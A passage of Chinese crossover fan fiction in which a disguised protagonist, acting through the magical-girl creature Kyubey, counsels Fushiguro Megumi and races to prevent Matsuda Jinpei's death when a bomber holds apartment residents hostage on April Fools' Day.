四年前，太宰治的朋友织田去世，他也因此跟另一个朋友坂口安吾的关系疏远了。在此之后，他叛逃去了武装侦探社。前后性格反差之大几乎像是换了一个人般。 按理说，他应该是向着更好的方向发展了。 他看起来比之前更好接近了许多，不再会让周围的人感到害怕。 但对方根本就不是一个时刻都活泼的性格，只是越来越习惯伪装，不再会随意暴露出自己的阴暗面，即使对着同伴也不会吐露任何心事…… 伊江朔久突然说：“活着的意义，我相信你也很快就会找到的。” 太宰治微微垂眸看向他，似乎有点惊讶：“什么？” “就当作是我的祝福吧。对了，既然不需要帮忙，那么我就先离开了，再见。” 伊江朔久向他们简单告别完，随后便直接操纵着轮椅离开。 按照之前的经验来看，伏黑和松田能被判定为符合要求，那太宰应该也可能同样符合。 他打算等系统回来之后，再去找太宰试试。 至于现在……伊江朔久想起了刚才见到的伏黑惠。 现在得去找伏黑惠聊聊了。 在这段时间的练习下，伊江朔久使用起丘比这个马甲已经熟练了许多，可以勉强同时操控着自己的本体和丘比了。 就是目前还只能专注于其中一边，另一边就只能做一些很简单的不用动脑的事情。 回家当然是件非常简单的事，于是伊江朔久轻松地一边操控着本体回去，一边把主要精力都放在操控丘比这边。 伊江朔久使用丘比顺着伏黑惠刚才离开的方向追了过去。虽然对方已经走了有一会儿了，不过好在他知道对方住的地方在哪里。 这么摸索着快速前进了一段路程，他便看见了熟悉的黑发绿眸少女的身影。 丘比快步到了对方脚边，喊道：‘伏黑。’ 伏黑惠显然没想到，熟悉的白色生物会突然从自己身后跟上来，惊讶之余才慢一拍地想起在心里跟对方道：‘丘比，你是来找我的？’ ‘不是，只是刚才意外在路上看见你了而已。你怎么是变身的状态，是看到魔女了吗？’ 丘比说话的同时，还跟在伏黑惠脚边，陪他继续往前走着。 ‘没有……’看着街上的其他路人，伏黑惠也始终觉得变身后不太自在：‘我是出来适应一下变身后的身体。’ 丘比：‘原来如此。不过还是要尽量少消耗一些魔法，否则灵魂宝石就会变得越来越浑浊，到后来魔力可能也就无法使用了。’ ‘浑浊？’ 伏黑惠将手腕的幽绿色手链变回宝石的模样，拿在手里，宝石依旧是非常清澈明亮的绿色。 他仔细地察看，不知道是因为心理暗示，还是真的如丘比所说……他感觉灵魂宝石好像确实比前几天的要暗淡了一点点。 第25章 伏黑惠有些担心地问道：‘这么暗淡下去的话，除了无法使用魔法，还会有其他什么后果吗？’ 丘比摇了摇头，道：‘我不知道，不过你还是不要尝试为好。’ 伏黑惠突然觉得自家的这个契约兽好像有点不太靠谱。 这种事情对方不应该是最清楚的那个吗？怎么它却像是刚刚上任一样，连这样的事也不知道。 不过，签订契约后的这几天，伏黑惠忍不住去了解了些关于魔法少女的事情……当然只能从各种各样的动漫里。 动漫里面的契约兽大多是迷迷糊糊、不太靠谱的样子，一般只是负责当个可爱卖萌的吉祥物。 这么一想，丘比好像也还算不错。 ‘通常你在击败魔女后，可以拿到悲叹之种，也叫做魔女的卵。’ 丘比讲解道：‘它可以吸收灵魂宝石中的污秽，不过吸收的数量是有限的，所以你最好尽可能地多储存一些悲叹之种。’ 伏黑惠想起了那个白色长发的少女，当时对方打败了魔女之后，拿着一个黑漆漆的东西，说自己是为了它才来的。 看来那个东西应该就是悲叹之种了。 ‘对了，丘比，我签订契约的那天遇见了一个魔法少女。你知道她是谁吗？’ 伊江朔久：‘这个……’ 这该怎么解释，得赶紧想想要编个什么理由糊弄过去了。 伏黑惠试图详细描述那人的样貌，想让丘比能够记起来：‘她有着白色长发，青色眼瞳，穿的裙子是渐变色的。唔，她戴的围巾非常长，两端似乎快要拖到地上了……’ 不会拖到地上的！ 这种事情当然不用担心。 就像是不用去思考伏黑惠的海胆发型是怎么维持的，也不用在意太宰治披在肩上的黑大衣似乎永远都不会掉下来，更不用纠结柯南世界里一年到底有多少天…… 所以，就算围巾的两端比身高还要长，也是绝对不可能拖到地上的！ 伊江朔久无法以丘比的马甲去解释这些，只能阻止伏黑惠继续描述下去：‘好了，我记得她。’ 伏黑惠并不意外，毕竟丘比说过，所有魔法少女都是和它签订契约才拥有的魔法。 ‘她叫什么名字？和你签订契约的时候许了什么愿望？’ ‘我不能说出她的私事。同样，你的隐私我也不会告诉其他人。’丘比一副很有原则的样子，道：‘如果你想知道的话，可以自己去问她。’ 伏黑惠沉默。 回想一下那家伙当时的态度，便能够预料到如果自己真的去问了，她绝对是不会回答的，恐怕还会冷冷地将箭矢瞄准自己吧。 丘比犹豫过后说：‘你可以叫她朔夜，我只能告诉你这个了。’ 伏黑惠有点愣神，重复道：‘朔夜？’ 伊江朔久点了点头。 这是由他的名字变形而来的。朔久的读音是saku，而朔夜的读音是sakuya。 两者有些相似，不过前者是男生的名字，后者则明显是个女生的名字。 以前倒是也有人叫过他sakuya。 伊江朔久看着神色似乎不太对劲的伏黑惠，迟疑道：‘怎么了？这名字有什么问题吗？’ 一般情况下，应该很难把朔夜和伊江朔久联系起来吧。两人的性格和形象反差明明都那么大…… 虽然，白发青瞳这样的发色瞳色搭配确实没那么常见。 可就算如此，也不可能会想到伊江朔久也签订了契约。 他坐着的轮椅就是最好的挡箭牌。 魔法少女不可能是残疾人，就算曾经是，也肯定已经向丘比许愿恢复健康了——大家大概率都会这么想吧。 伏黑惠怔怔地摇了摇头：‘没有问题。’ 伏黑惠没有联想到伊江朔久，他在意的是别的事情。 朔夜……这很明显是个女生的名字。 让其他人听到了应该不会觉得有什么问题，那个白发少女不管怎么看都是个女孩子没错。 但是，伏黑惠略微放慢了脚步，侧过头看向街边店铺的玻璃门窗，从中可以隐约看到自己的倒影。 ——也是同样任谁看都会觉得，这是个不折不扣的女孩子。 难不成……只有自己是男生变身成的魔法少女？其他的魔法少女不会都是真的女孩子吧？！ ‘伏黑？’ 伏黑惠重新低头看向丘比，它歪了歪头：‘你在想什么？’ 他没有回答，而是问道：‘丘比，你为什么会找我签订契约呢？’ ‘因为你有着足够的潜力，其实能够成为魔法少女的人很少，所以伏黑你很厉害的。’丘比的语气听起来一如既往的真诚。 ‘也、也不算什么。’ 伏黑惠因这样直白的夸赞而感到有些不好意思。 很快他却又想起那天的白发少女轻松解决战斗的模样，还有她当时对自己说过的话。 ‘……我现在还是没办法确保，能够在当时的情况下保护好津美纪，可能依旧只能选择动用魔虚罗与魔女同归于尽。’ ‘伏黑……’丘比似乎想说些什么。 伏黑惠先道：‘不过，我一定会进步的，绝对会努力地赶上那家伙，让她收回自己当初的话。’ 他之前可能的确是弱小的，但为了重要的人，绝对不能一直这样弱小下去。 滪Ｆ熙Ｆ彖Ｆ对Ｆ读Ｆ嘉Ｆ 丘比重重点头：‘嗯！’ 伏黑惠突然又道：‘还有，丘比，如果以后遇见其他的魔法少女时，你能不能别叫我的名字……’ 丘比愣了愣。 伏黑惠不自在地说：‘到时候叫我禅院穗就可以了。’ 丘比：‘……好的。’ 伊江朔久也理解伏黑惠。对方不想暴露魔法少女的身份确实很正常，如果对方完全不在意这个反倒更令人奇怪。 不过，这样是不是会阻碍魔法少女同伴之间的交流合作与互帮互助？毕竟同伴之间一般不会隐藏那么多秘密。 但是丘比刚刚已经隐藏了朔夜的事情，还说过不会暴露别人的隐私。 这样一来，也就只能够答应伏黑惠的请求了……真是令人头疼。 丘比想了想，说：‘如果你遇到难以对付的魔女，有机会的话可以去找朔夜，拜托她去战斗。’ 伏黑惠疑惑道：‘可是，她真的会帮我吗？’ 对方当时的口吻像是完全不会在意旁人的死活，这样的人真的会帮助他吗？很难想象对方会在意别人，就算是其他的魔法少女。 丘比沉默片刻后道：‘……她会为了悲叹之种而出手的。’ ‘……也是。’ 伏黑惠虽然还不了解那个叫朔夜的魔法少女，但是经过之前的短暂交流，还有丘比现在这晦涩不明的语气，也算是明白了…… 那家伙……应该不会是动漫里那样的、什么善良的可以信任的魔法少女同伴。 得小心警惕起来才行。 现实里可不会像动漫一样，战斗从来就不是没有伤亡的。魔女不是那么好对付的敌人，他也不应该想当然地认为魔法少女该是什么样子。 伊江朔久跟伏黑惠又聊了一会儿后，便很快提出了告别。 大概先把重要的事情交代完，让伏黑惠注意着不要让自己的灵魂宝石变浑浊就好。 剩下的其他的事情，得等到系统回来，询问过系统之后再做处理。 而且，他最近暂时估计没办法关注伏黑惠那边了，还有更重要的紧急事件需要解决。 快要到那一天了——萩原研二死后第四年的忌日，也是原著里松田阵平的死亡节点。 按理说，他看过原著，清楚地知晓剧情的发展和前因后果，应该很轻松就能想出办法阻止松田阵平死亡。 但其实并没有这么容易，因为时间线改变了，一些事情与原著情节的产生了分歧。 萩原研二本应该是在四年前警校毕业后没多久，就在11月7日于浅井区一栋公寓楼的拆弹工作中，因为炸弹倒计时突然被重启而殉职。 而现在，在伊江朔久所处的这个世界里，当年萩原研二拆的炸弹并没有爆炸，他从那次事件中活了下来。 然而……又过了不到半年，萩原研二就死于另一起爆炸案。 4月1日那天，有个罪犯远程联系上了警视厅。 罪犯以其他民众的生命安全作为威胁，指名道姓让萩原研二独自一人进入一个废弃工厂，工厂里面安装了炸弹。 萩原研二当时进去看到炸弹的时候，还是有时间能够逃走的，但是炸弹和一个小型显示器连接在一起。 显示器上的文字告诉他，在另一处人群汇集的地方也有炸弹，必须等到眼前这个炸弹爆炸的前三秒，显示器才会放出另一处炸弹所在的地点。 这意思显而易见，就是让萩原研二做出选择——在自己的性命和其他民众的性命之间。 那个炸弹犯当时还将这件事公开在网络上，大概是他以为会见到贪生怕死的警察，为了保全自己而放弃他人，所以才想要让其他民众看着警视厅就此名声扫地。 但是，萩原研二却选择迎接死亡，在炸弹面前停留了下来，并在生命的最后关头将信息通过手机传递出去。 另一处被安放于浅井区公寓楼的炸弹因此被及时找到，没有造成人员伤亡。 于是，有一名警察牺牲生命拯救了这么多民众的新闻，理所当然地在当时被许多人知晓赞颂，警视厅的名声反而更上一层楼。 可事情似乎还没有结束，之后每一年的4月1日警视厅都会收到一封传真，上面只有一个数字，就像是倒计时般，今年收到的数字该是‘零’了。 也就是说，炸弹犯很有可能在今年的4月1日采取行动。 ……原著剧情和现实中发生的事件出现了明显的差异。 萩原研二的死亡时间推迟了小半年，且死亡的情节也被改变了。他为了公众安全而选择牺牲自己的这一做法，更像是原著里松田阵平本该经历的事情。 所以，伊江朔久没办法依赖原著剧情来判断事件走向，也就不能确保顺利解决这次事件。 独自回到有些空荡的家里，伊江朔久没有开灯，而是操纵着轮椅径直靠近了落地窗。 在这样安静的情况下，轮椅滚动的细微声音非常明显。当他在落地窗旁边停下来时，空气又仿佛凝固了起来。 后天就是4月1日，那个时候系统肯定也会回来了。 伊江朔久望向窗外，夕阳的余晖此刻渐渐消失在天际，天空的另一边，夜色如墨般正缓缓蔓延开来。 他眉头紧锁，思索着之后的安排。 要尽量保证没有伤亡地解决这件事。同时，还可以借此机会让丘比出场，询问松田阵平是否愿意签订契约。 这么说，他得抓紧时间多练习一下了，必须得操控丘比和本体同时出场短时间内不露破绽才行。 ……务必不能遗漏下任何需要注意的细节。 第26章 4月1日的前一晚，伊江朔久没有躺下入睡，而是直接清醒地等到了第二日太阳出来。 然而时间一点点地过去，太阳已然高悬在空中许久，但他依旧待在家里，看起来没有要出门的意思。 系统奇怪道：【朔久，你不是说今天要解决松田阵平的死亡危机吗，为什么还不出去？】 ‘我没有理由去往警视厅，无法在那里等待那个炸弹犯发来传真，更不会被警察允许掺合进这种事情里。’ ‘即使出去也没有用，还是待在家里等待消息就好。’ 伊江朔久在心里回答着系统，却仍没有停下自己正在忙的事情。 ——他将意识一分为二。一边操控着本体拿着一根带着羽毛和铃铛的逗猫棒，在空中轻轻挥动。一边操控着丘比像只单纯可爱的宠物般，扑着逗猫棒玩。 真是和谐温馨的场景啊。 如果系统不知道这两方都是同一个人的意识在控制，或许还真有可能会这么觉得。 【可是现在时间不早了，中午已经快要过去了，炸弹犯真的会在今天动手吗？】 系统说明自己的想法：【今天是愚人节，或许炸弹犯给警视厅开了个玩笑，并不会在今天采取行动。毕竟柯南原著里，松田阵平的死亡日期应该是11月7日才对。】 伊江朔久摇了摇头：‘我提前调查过那个炸弹犯，有查到一些信息，他大概率会在今天动手的。’ 系统有点讶异：【诶？】 ‘不过，现在时间确实有些晚了。原著里传真大概是在中午之前便发到警视厅的，而现在14时却都已经过去了。’ 伊江朔久停下逗猫似的动作，拿出手机，打开通讯页面，开始打字给别人发简讯。 系统感到好奇，于是白色的小光球无声地飘到了伊江朔久身旁，凑过去看手机屏幕。 伊江朔久：【佐藤小姐，警视厅有收到那封传真吗？】 不一会儿，佐藤美和子就发来了回复：【还没有，松田一直在这里等着呢。放心，我会好好看着他的，一收到传真就会立刻告诉你。】 系统：【原来你跟佐藤美和子提前说好了啊，你是怎么拜托她帮忙的？】 伊江朔久解释道：‘我是先和松田联系上了，在与他的聊天中装作听说过四年前萩原的那次案件，不经意地提起这个话题，借此从他口中再听了一遍当年发生的事情……’ ‘然后我以担心他到时候可能会独自冒险为理由，拜托佐藤小姐在这一天注意着他的情况，并帮忙把消息时刻转述给我。’ 系统了然道：【也是，这样也能及时了解到事情的进展。】 伊江朔久叹了口气：‘原本直接联系松田会更方便，但是今天他大概是完全没心思回复别人的消息吧。’ 如伊江朔久所料，此时的松田阵平不仅是待在警视厅内，拒绝了其他一切琐事的出警，还近乎直接守在了传真机附近。 松田阵平看着时间一分一秒地过去，然而等了这么久，却依旧没有等来每年固定时间发来的那封莫名其妙的传真。 原本以为今天就有机会抓住那个炸弹犯的。 他想着为萩复仇，已经等了四年，为此还想办法从爆.炸物处理班调入了搜查一课三系…… 可是明明早就应该收到传真了才对，等待了这么久的事情出现了偏差，没有按预期的那样发展。 松田阵平不免有点焦躁，虽然没有什么明显的表现，周围人却能隐约察觉到他附近的气压低沉了下去。 “喝杯咖啡吧，松田君。” 佐藤美和子走过来，把刚煮好的咖啡递过去。 松田阵平侧头接过杯子，简单地说了句谢谢之后，目光就又很快挪回到了传真机上。 佐藤有些无奈，但也没有劝他休息一会儿。 她今天很早便到了警视厅，但是那时候松田已经不知道来了有多久。 刚开始她看着对方还是像往常一样，甚至似乎压在心头许久的事情有了解决的苗头，松田看起来比往常更放松了些。 然而随着时间的推移，松田的情绪明显越来越沉下去。 本来他只是偶尔望一眼传真机，到后来看过去的动作逐渐频繁起来，现在更是直接守在了传真机附近…… 其他很多人都注意到了松田的异常，不过因为松田刚转来这里一周，平常看着不那么好相处，所以还没有人主动去问他怎么了，只是也总忍不住关注这边的动向。 佐藤有些忧虑地想，今天真的会收到那封传真吗？ 如果犯人这次真的发来了作案的传真暗号，便出现了抓住犯人的机会，可是又同时代表着危机的到来。 不过，佐藤的忧虑也随着时间渐渐消散。 太阳从原本的高悬于空中，慢慢地向西倾斜，光芒从刺眼逐渐变得柔和，夕阳再将天空染成一片浅红色…… 也到了他们警察下班的时间，其他同事陆陆续续地离开了，这里变得空荡了许多。 目暮十三下班之前还劝了松田几句，让他也早点回去，说今天应该是不会收到那封传真了，之前的传真可能也只是愚人节玩笑而已。 但是松田阵平当然没有听话，他只是随口敷衍了下，然后仍旧守在传真机附近没有动弹。 其他人也没什么办法，时间足够晚了，他们也便纷纷回家了。 警视厅为了避免突发情况，总是时刻有人在的，所以松田阵平就算是在这里通个宵也不会有人赶他走。 佐藤也觉得今天那封传真应该是不会来了。 可是松田肯定会一直等下去的。想着答应过伊江的事情，又看了看始终没有休息的松田，佐藤无奈地选择留了下来。 随着夜色加深，浓墨重彩地铺展开来，佐藤不由得感到些许疲倦，困意悄然涌上心头。 她看向如同雕塑般守在那里的松田阵平，忍不住问道：“松田君，你还不回去吗？” 松田阵平头也没回地道：“你先回去吧，不用管我。” 佐藤实在拿他没有办法。 为了打消困意，佐藤起身去茶水间，打算再去煮些咖啡续命，顺便也帮忙准备了松田阵平的那份。 当她端着两杯咖啡回来的时候，就看见松田阵平急匆匆地想要离开，传真机那边桌子上好像多了封传真。 “松田，怎么了？！”佐藤连忙出声问道。 “有炸弹被安放在浅井区公寓楼，就是四年前被安放过炸弹的那栋楼。麻烦你通知下其他人立刻出警。”松田语速很快地说完，便要直接出发。 “那你现在是要直接过去吗？等等，别一个人行动啊……” 佐藤着急地道。 但是她没能拦住松田，还是看着对方拿着拆弹的工具箱快步离开。 佐藤只能马上打电话，将这件事转告给其他警察。 得到上司目暮十三的回应后，她便仓促下楼，在路边直接打了个车，让司机快点开到浅井区。 坐在出租车里，她才有空赶紧给伊江朔久发简讯道：【那封传真刚刚才发过来，松田急匆匆地离开了，我没能及时拦住他。不过别担心，马上就出警了，我也正在往松田那边赶过去，应该不会有什么危险的。】 伊江朔久很快回道：【我知道了，谢谢你。】 随即，伊江朔久又忍不住给松田阵平发去了简讯：【你现在在哪里？松田警官，有什么事都可以先等下其他人再说，不要自己一个人冒险。】 他盯着通讯的页面很久，始终没有等到回复。 系统安慰道：【他现在可能没空看手机。】 伊江朔久沉默着点了点头。 【真没想到炸弹犯会在这个时候采取行动，都已经这么晚了，4月1日再有一两个小时就要过去了。】 系统的语气有些疑惑：【话说，你不去问一下佐藤传真上的地址吗？要是松田像原著里一样死去的话就太可惜了。】 ‘不用，他不会死的。我已经确定了那个炸弹犯选择的地址。’ 伊江朔久向前伸出手，将面前桌子上的一张卡片拿起来。 那是一张愚人节的整蛊卡片，上面复印了歪歪扭扭的手写字体和丑萌的笑脸简笔画。 内容大概是今天日落时分，烟火骑士会将这里的一切化作灰烬，以盛大的花火来祭奠曾经逝去的两位战友，最后还写了愚人节快乐。 系统迟疑道：【难道这个整蛊卡片是真的？意思是炸弹就安放在这里吗？！】 两个小时前，伊江朔久听见门外有吵闹的声音，于是过去开门后，在地上捡到了这张卡片。 当时他看到了两个男孩的身影跑着离开，还有人在大声呵斥他们，抱怨不懂事的小孩子在愚人节乱开玩笑，搞得整栋公寓楼道都是这种垃圾卡片…… 伊江朔久回应道：‘嗯，这就是那个炸弹犯准备的，他大概是随便找了两个小孩，花钱雇他们将这些卡片发给这栋公寓的住户。’ 【可是，上面不是说日落时分吗？】 伊江朔久看到卡片的时候，太阳便早就落山，夜幕已经升起来许久了。 【难道是那两个小孩耽误了时间，没有及时把卡片送到？】 刚说完，系统又自言自语地打消了这个想法：【不对，直到目前也还没有爆炸，时间应该是错误的。】 ‘毕竟是愚人节，在时间上撒点明显的谎也很正常，不过应该确实会有炸弹今天在这栋楼爆炸。’ 系统好奇道：【朔久，你为什么能确定这个卡片是那个炸弹犯准备的？】 ‘卡片上说了，以此祭奠曾经逝去的两位战友。’ 伊江朔久看着窗外，眼神飘远，仿佛跨越了长久的时间，落点定格在了四年前的某个时刻。 ‘这指的是……曾经这栋公寓楼两次被安装过炸弹，但是两次皆没有成功爆炸，最终都被警方及时找到并拆除。’ 第27章 松田阵平根据传真暗号，匆忙赶到了浅井区公寓楼。 此刻，这里表面上还没有什么异常。 在宁静的夜幕下，公寓楼各家的窗户如同点点繁星，透出温暖的灯光，看上去温馨而祥和。 很难想象这样的表象之下隐藏着巨大的危机，只要炸弹被引爆，这一切的美好便会如同泡沫般一戳即破。 松田阵平没有丝毫犹豫，直接踏入了随时可能爆炸的这栋公寓楼。 刚进大门还没走几步，松田阵平就看到了几张被扔到地上的卡片，他捡起了其中一张。 卡片上的内容与警视厅收到的那封传真比较相似，只不过卡片上写的更加隐晦些，而传真里还增加了对警方的公然嘲讽。 归根结底，大致意思都是浅井区的这栋公寓楼里被安放了炸弹。 烟火骑士以盛大的花火……祭奠曾经逝去的两位战友么…… 开什么玩笑，这种话应该是由他来说才对。 松田阵平神色晦暗不明。他当时一看到传真内容，就立即想起了四年多前的11月7日和4月1日两次侥幸被拆除的炸弹。 第一次炸弹在被重启倒计时之后，险而又险地莫名停了下来，就像是上天怜悯地给予了一次机会。 而第二次再也没有好运的眷顾，是hagi用自己的生命换来了拆弹的机会。 这次也绝对不能允许炸弹被引爆，一定要抓住那个混蛋，为了hagi…… 松田阵平捏了捏眉心，使自己冷静下来。 这时，他听到右前方传来嘈杂的声音，这有些不同寻常。 松田阵平忙快步过去，看到电梯前面站了四五个人，应该都是这里的住户，似乎正打算回家却被阻碍在这里。 有个男子抱怨道：“怎么三个电梯同时都坏了啊，也没有物业给说一声。” “是啊，我家住在高楼层，这得怎么上去啊。” “唉，也不知道这电梯什么时候能好，我还是走楼梯吧……” 旁边的人也都在随口抱怨着。 松田阵平没有跟他们说话，直接挤上前去看了看电梯的状态。 他迅速判断出，这应该是犯人提前掌控了电梯的运行程序，有意将其控制住不让开启。 这下麻烦了。 本来其他警察很快就会过来疏散这里的民众。但是现在电梯没办法使用，这栋公寓楼有二十多层，疏散工作会变得非常艰难。 如果能够找到炸弹安放的地点就好了，直接把炸弹拆除掉，就不用担心其他的事了。 炸弹可能会在哪里呢…… 松田阵平不由得想到前两次炸弹都安装在这里的高楼层上，所以说，这次应该也会有很大的概率是在高处吧。 正好电梯用不了，如果从低楼层开始排查，等慢慢排查到高楼层时估计炸弹早就爆炸了。 松田阵平想了想，拿出自己的警察证展示给这几个人看，简单说明道： “这栋楼里很可能存在危险分子，为了你们的安全着想，请尽快离开这里。” 这几人闻言都很吃惊。 “危险分子？！等等，到底发生了什么……”有人想弄个明白。 不过，松田阵平没有时间再做停留了。他说完上一句话，便已经头也不回地进入了旁边的楼梯间。 二十多层楼一回要爬上去是件不容易的事，更不用说他还带着沉重的拆弹工具箱。 但是因为时间紧急，松田阵平中途没有耽搁，一次性快速地爬了很久楼梯，结果却被阻碍在了20层之前。 通往20层的楼梯间被封了，大门异常的紧紧关闭着。 松田阵平尝试性地推了推门，又踹了一下，然而大门纹丝不动，看起来非常坚固。 这个公寓楼显然比较高档，装修考究。在没有钥匙、也没有别的适合的工具的情况下，想要快速打开这扇门几乎是不可能的。 这下子，炸弹在20层的可能性就提高了许多。可是该怎么才能上去呢…… 楼梯这里显然是走不通了，电梯目前也无法使用。 松田阵平沉着思考片刻后，想到了个办法，选择先退回到了19层。 他在19层的楼道里左右打量了一下，很快便下定决心，盯上了这里唯一的一扇窗户。 窗户是闭合着的，但是比起牢固的大门来说，这个会好破坏很多。 他从拆弹的工具箱里找了个趁手的利器，用力连续击打窗户，没一会儿玻璃便碎裂开来。 松田阵平迅速清理了一下窗台上的玻璃碎片，然后身手敏捷地爬了上去。 19层楼外风声很大，在他耳边不停地呼啸着。 这个高度非常危险，如果一不小心踩空掉下去，就绝对会死得非常难看。 而且，松田阵平爬上去的过程中，无法拿上沉重的拆弹工具箱，只能将一个多用途工具刀塞进自己的口袋。 在没有拆弹工具的情况下，就算能去到20层，他可能也派不上什么用场。 但是20层以上还有许多民众，他没办法选择放弃。 松田阵平依靠着窗台，又攀上了一个楼外安装的空调外机，他的身体贴着墙壁，紧紧抓住每一个可以借力的地方，艰难费力地慢慢往上攀爬…… 终于在耗费了巨大的体力之后，他成功爬上了20层，踩到了一户人家的落地窗窗台上。 幸运的是，这扇落地窗上半部分是可以打开的，而且对方也没有关严窗户。松田阵平顾不上那么多，便打开窗户翻了进去。 然而，他还没缓口气，就惊愕地看到了一个熟悉的坐着轮椅的身影。 “松田警官？” “伊江？你怎么在这里？！” 他们两个几乎是同时出声，似乎都对这样的见面感到惊讶。 松田阵平想起来，这个落地窗是单向透视窗户，只有里面可以看见外面，所以他刚才没进来之前都没发现伊江就在这里。 “……这里是我家。”伊江朔久回答道，脸上露出了有些复杂的表情。 松田阵平下意识地环顾四周，发现这里客厅的布局简约而宽敞，各种家具的高度显然都非常便于坐轮椅的人使用。 尽管屋内略显冷清，没什么体现房主兴趣爱好的物件，但也能判断出伊江朔久确实在此居住了不短的时间。 伊江朔久犹豫了会儿，还是问道：“你为什么会从这边窗户翻进来？” 松田阵平后知后觉地意识到，自己这应该算是私闯民宅了，并且翻窗户进来的过程还被房主亲眼目睹。 这场面简直比当年他上警校时，和朋友一起翻墙出去被教官当场逮住，还要尴尬得多。 毕竟他现在是在职警察，要是对方追究并举报他的话……真有点难以想象那场面得有多糟糕。 伊江朔久微微皱眉，担心地道：“这样翻窗进来太危险了，这里这么高，万一踩空就糟糕了。” 松田阵平愣了一下。 伊江朔久继续道：“如果你没办法过来的话，可以给我发简讯，我可以过去接你。” 松田阵平：“……” 他无言以对，觉得伊江是不是太没有防备心了点。 不过提到这个，松田阵平想到了伊江不久前给他发的简讯……他当时并不是没有看见那条简讯。 之前偶然一次伊江跟他聊到过hagi那次牺牲的事件。 很久没人主动跟他聊起hagi，其他知情的人也都总是小心翼翼避开这个话题……所以松田阵平当时也提起了一些倾诉欲，告诉对方hagi是他的朋友。 于是伊江朔久感到抱歉，跟他说了许多宽慰的话，还讲了一个故事。 虽然松田阵平并不会因为提到离世的朋友而难过，反而还很怀念跟其他人久违地说起与hagi的往事。 不过，那个故事还是挺不错的。 故事里的人们死后会在亡灵的世界生活，只有被现世中的所有人遗忘才会迎来真正的死亡。* 伊江朔久说，只要你还记得他，他就会以另一种方式存在于这个世界。至少这样的死亡不会再令人感到孤独了…… 这些谈话让松田阵平的心情渐渐好转了很多，跟对方不知不觉聊了许久，甚至还说出了这几年来警视厅固定收到传真的事情。 松田阵平那时说完后才想到，这些说出去只会让对方平白担心。 果然，在应该会再次收到传真的今天，伊江确实给他发了好几条简讯，很关切担忧的样子。 可是他只能一一敷衍过去，不希望把对方牵扯进来。 根据传真暗号来这里的路上，松田阵平也看到了伊江发简讯问他在哪里。 他犹豫过后还是没有回复，想着解决这次的事件之后再说。 然而，松田阵平现在开始后悔，应该提前告诉伊江这栋公寓楼有危险的，说不定对方还有机会离开这里。 “传真所指的地点就是这栋楼，这里很可能已经被安装了炸弹。现在电梯无法使用，19层到20层的楼梯间也被封了，我才不得已从窗户翻上来。” 松田阵平很快解释了现状，又忍不住道：“要是我提前告诉你就好了，你在这里太危险了。” 伊江朔久摇头表示不在意：“没关系，反正你也同样身处危险之中。” 松田阵平说道：“……这是警察的职责，不用担心，我也算处理过很多——” 这时候，外面突然传来类似广播一样的声音，打断了松田阵平的话。 那声音仿佛是从这座楼的顶层传来，穿透力极强，即使他们待在屋子里面也能听清内容。 “这里的所有住户们，祝你们愚人节快乐，想必大家都收到我的贺卡了吧？” 明显经过变声器处理后的沙哑男声响起：“非常感谢大家能在看完卡片上的内容后，仍然选择留下来参与这场游戏。” “不过可惜喜欢玩游戏的人数太多了，所以我要做一个限制，仅限20层及以上的住户可以参与进来。其他无关人员请尽快离开，不然我将无法保证所有人的生命安全。” 紧接着，一声震耳欲聋的爆炸声远远传来，震动仿佛穿透了整个公寓楼。 松田阵平迅速随着声音的方向，凑到窗边往下望去。 只见公寓楼底下的一处草坪上，火光冲天，浓烟滚滚，显然那里先前安装了炸弹，此刻被引爆了。 “这只是一个小小的见面礼而已，希望你们喜欢。” 那个声音再次响起，语气里明显带着得意和挑衅：“我还在这栋楼里安装了许多处炸弹，下次的爆炸就会直接在这里发生了。” 随着炸弹犯挑衅的话语和爆炸声接连响起之后，公寓的居民们顿时陷入了恐慌之中，尤其是被提名的20层及以上的这些居民。 第28章 伊江朔久和松田阵平能听见门外很快变得喧闹起来。 楼道此刻充斥着慌乱的脚步声与交谈声，许多人都惊慌地从各自家里跑了出来，试图下楼逃离这个危险的地方。 但是现在电梯无法使用，19层到20层的楼梯间也被封了，20层以上的居民都卡在了20层这一层，无法再往下走。 炸弹犯继续开口，就像是通过什么方式看到了楼下的情况一样：“现在警察们也已经在组织快速疏散人群了，不过他们似乎没有管20层以上的民众呢。” “真是明智之举，毕竟你们还要参与我的游戏。要是都离开了的话，我一定会难过到立刻按下引爆器，让所有人都为之陪葬的。” “所以，20层以上的大家千万也不要想别的办法离开，我不想让剩下的游戏人数再变少了。” 这样的话更令其他人感到恐慌，外面的声音更加吵闹，有人打电话在争取警方的帮助，还有人已经抑制不住恐惧哭了出来。 松田阵平这时候也拿出手机发消息，跟警视厅的人取得了联系，说好了他们会将信息实时共享。 把目前的情况发过去后，松田阵平放下手机，看向伊江朔久。 这种危险的情况很多人可能一辈子也遇不上一次，松田阵平看着对方有些忧虑的样子，安慰道： “不用太过担心，我已经和其他警察取得联系了，他们正在想办法，绝对不会放弃这里的民众。” 伊江朔久点了点头：“我知道的。” 过了一会儿，炸弹犯又出声道：“好了，现在游戏开始吧。” “请所有人来到20层的走廊中央。我会给予游戏胜利者离开的机会，如果其他人游戏失败或是不参与游戏的话，就会永远地留在这栋大楼里哦。” 现如今，对方掌握着炸弹引爆器，就像是掌握着这里所有人的性命。 他们也只能听对方的话往那里去。 松田阵平帮忙推着伊江的轮椅过来的时候，这边已经聚集了二三十个人，每个人脸上都写满了不安与害怕。 这栋楼比较大，走廊中央也比较宽敞，所以容纳了这么多人也不显得拥挤。 对朝着电梯的那一边墙上放了一个监控摄像头，此时还在自动旋转，非常引人注目。 炸弹犯通过监控，看到其他人都听话地过来了，于是继续用顶层的广播扩音一样的装置道： “请大家对着摄像头打个招呼吧，现在的游戏现场可是处于直播当中呢，网上的很多人都能实时看到你们的表现。” 在场的人闻言，脸上表情复杂不一，但是没有人敢开口说话。 炸弹犯不满地沉声道：“别这么无趣，快去乞求警察的帮助啊，你们可是正经的纳税人啊，快呵斥那些无用的废物警察们救你们出来啊！” 突然，一个年幼的女孩哭了起来，抓住了身旁成年女子的衣角，呜咽地道：“妈妈，我、我要回家，妈妈……” 她年纪还很小，不明白具体发生了什么，只是无法再忍耐这样压抑的气氛，害怕语气恶劣的炸弹犯的声音。 “不错的表现，但是你不应该喊妈妈，应该喊警官先生才对。”炸弹犯反而笑起来，道：“快对着镜头喊警官先生啊。” 母亲蹲下身子紧紧抱住小女孩，可是怀里的女孩还是止不住地在哭，母亲的身体也在微微颤抖着。 炸弹犯催促道：“快叫警官先生啊，正义善良、勇敢无畏的他们一定会过来救你的，快叫啊——” 女孩哭着听话道：“警官先生……警官先生、我害怕……” 